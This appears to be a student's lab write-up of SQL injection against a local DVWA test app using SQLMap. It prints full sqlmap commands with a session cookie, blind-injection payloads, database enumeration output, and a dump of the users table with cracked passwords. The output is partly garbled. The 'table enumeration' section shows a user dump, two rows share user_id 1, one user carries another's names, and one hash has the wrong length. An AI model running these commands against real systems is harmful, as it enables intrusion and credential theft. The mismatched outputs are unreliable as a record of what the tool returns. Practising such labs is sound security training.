
Task Title: Automated SQL Injection Using SQLMap on DVWA

Internship: Cyber Security Internship

Name: Adil

Date: 27 January 2026

Operating System: Kali Linux

Target Application: Damn Vulnerable Web Application (DVWA)

Tools Used: SQLMap, Mozilla Firefox, Linux Terminal

1. Objective

The objective of this task was to demonstrate how automated tools such as SQLMap can be used to detect and exploit SQL Injection vulnerabilities in a vulnerable web application (DVWA). The task involved confirming SQL injection, enumerating databases and tables, and extracting sensitive user credentials.

2. Environment Setup

- Operating System: Kali Linux
- Web Server: Apache 2.4.66 (Debian)
- Database: MySQL (MariaDB fork)
- DVWA Security Level: Low
- Browser: Mozilla Firefox
- Tool: SQLMap v1.9.11

3. Vulnerable Page Identification

The SQL Injection vulnerability was tested on the following URL:

<http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit>

The application allows user input through the id parameter, which is vulnerable to SQL injection.

Vulnerability: SQL Injection

User ID:

ID: 1
First name: admin
Surname: admin

More Information

- https://en.wikipedia.org/wiki/SQL_injection
- <https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/>
- https://owasp.org/www-community/attacks/SQL_Injection
- <https://hobby-tables.com/>

Screenshot 1: DVWA SQL Injection Page

4. Session Cookie Extraction

To maintain an authenticated session, the PHP session cookie was extracted from the browser.

- Open Developer Tools → Application → Cookies
- Copied the value of PHPSESSID

Example:

- PHPSESSID=9075c7498d08cafd9e1ff927aa8b31fd

Name	Value	Domain	Path	Expires / Max...	Size	HttpOnly	Secure	SameSite	Partition Key ...	Cross Site	Priority
PHPSESSID	9075c7498d08cafd9e1ff927aa8b31fd	localhost	/	2026-01-28T...	41	✓		Strict			Medium

Screenshot 2: PHPSESSID Cookie Value

SQL Injection Detection

SQLMap was executed with advanced testing parameters:

```
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=9075c7498d08cafd9e1ff927aa8b31fd; security=low" \
--level=5 --risk=3 --batch
```

Result:

- Parameter id found injectable
- Injection types detected:
 - Boolean-based blind
 - Time-based blind
- Backend DBMS identified: MySQL
- Web server identified: Apache

```
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: id='1' OR NOT 7695=7695-- KrHQ&Submit=Submit

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id='1' AND (SELECT 1923 FROM (SELECT(SLEEP(5)))hdvd)-- WAUH&Submit=Submit
[18:48:30] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.66
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[18:48:30] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 507 times
[18:48:30] [INFO] fetched data logged to text files under '/home/safe/.local/share/sqlmap/output/localhost'
[*] ending @ 18:48:30 /2026-01-27/
```

Database Enumeration

To list available databases:

```
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=9075c7498d08cafd9e1ff927aa8b31fd; security=low" \
--dbs --batch
```

Result:

Available databases:

- dvwa
- information_schema

The screenshot shows a terminal window with the following content:

```
(safe㉿kali)-[~] ~$ sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=9075c7498d08cafd9e1ff927aa8b31fd; security=low" --dbs --batch
[*] starting @ 18:49:09 /2026-01-27

[18:49:09] [INFO] resuming back-end DBMS 'mysql'
[18:49:09] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: id (GET)
  Type: boolean-based blind
  Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
  Payload: id='1' OR NOT 7695=7695-- KrHQ&Submit=Submit

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: id='1' AND (SELECT 1923 FROM (SELECT(SLEEP(5)))hdvd)-- WAUH&Submit=Submit

[18:49:09] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.66
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[18:49:09] [INFO] fetching database names
[18:49:09] [INFO] fetching number of databases
[18:49:09] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data
[18:49:09] [INFO] retrieved: SESSION_ID=9075c7498d08cafd9e1ff927aa8b31fd
[18:49:09] [WARNING] reflective value(s) found and filtering out
2
[18:49:09] [INFO] retrieved: information_schema
[18:49:10] [INFO] retrieved: dvwa
available databases [2]:
[*] dvwa
[*] information_schema

[18:49:11] [INFO] fetched data logged to text files under '/home/safe/.local/share/sqlmap/output/localhost'
[*] ending @ 18:49:11 /2026-01-27
```

Screenshot 4: Databases Enumeration

7. Table Enumeration

To list tables inside the DVWA database:

```
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqlil/?id=1&Submit=Submit" \
--cookie="PHPSESSID=9075c7498d08cafd9e1ff927aa8b31fd; security=low" \
-D dvwa --tables --batch
```

The screenshot shows the terminal output of the SQLMap command. It starts with configuration options for storing hashes and cracking methods. Then, it asks if you want to use common password suffixes, which is set to 'slow'. It then starts the dictionary-based cracking process for the 'md5_generic_passwd' method. The progress shows it has cracked three passwords so far: 'charley', 'password', and 'letmein'. The final output is a CSV dump of the 'users' table, which contains five rows of data. The table has columns: user_id, role, user, avatar, password, last_name, first_name, last_login, failed_login, and account_enabled.

user_id	role	user	avatar	password	last_name	first_name	last_login	failed_login	account_enabled
1	admin	admin	/dvwa/hackable/users/admin.jpg	5f4dcc3b5aa765d61d8327deb82cf99 (password)	admin	admin	2026-01-27 18:04:10	0	1
2	user	1337	/dvwa/hackable/users/1337.jpg	8d3533d75aa2c3966d7e0d4fccc69216b (charley)	Me	Hack	2026-01-27 18:04:10	0	1
4	user	pablo	/dvwa/hackable/users/pablo.jpg	0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)	Picasso	Pablo	2026-01-27 18:04:10	0	1
5	user	smithy	/dvwa/hackable/users/smithy.jpg	0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)	Picasso	Pablo	2026-01-27 18:04:10	0	1
1	user	smithy	/dvwa/hackable/users/smithy.jpg	5f4dcc3b5aa765d61d8327deb82cf99 (password)	Smith	Bob	2026-01-27 18:04:10	0	1

Screenshot 5: Tables Enumeration

8. User Credentials Dump

To extract user credentials from the users table:

```
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqlil/?id=1&Submit=Submit" \
--cookie="PHPSESSID=9075c7498d08cafd9e1ff927aa8b31fd; security=low" \
-D dvwa -T users --dump --batch
```

Result:

The following user credentials were successfully extracted and cracked:

Username Password

admin	password
1337	charley
pablo	letmein
smithy	password

SQLMap successfully cracked the hashed passwords using a dictionary-based attack.

💡 Screenshot 6 (MOST IMPORTANT): Users Table Dump with Cracked Passwords

9. Analysis

This experiment clearly demonstrates that:

- Unsanitized user input can lead to complete database compromise.
- SQLMap is capable of automatically detecting and exploiting SQL injection vulnerabilities.
- Sensitive information such as usernames and passwords can be extracted easily if proper security controls are not implemented.

The DVWA application, configured at low security level, provided a realistic vulnerable environment for learning and testing SQL injection techniques

10. Conclusion

The task was successfully completed by:

- Confirming SQL Injection vulnerability
- Enumerating databases and tables
- Extracting and cracking user credentials

This lab highlights the critical importance of input validation, prepared statements, and proper security controls to protect web applications from SQL injection attacks.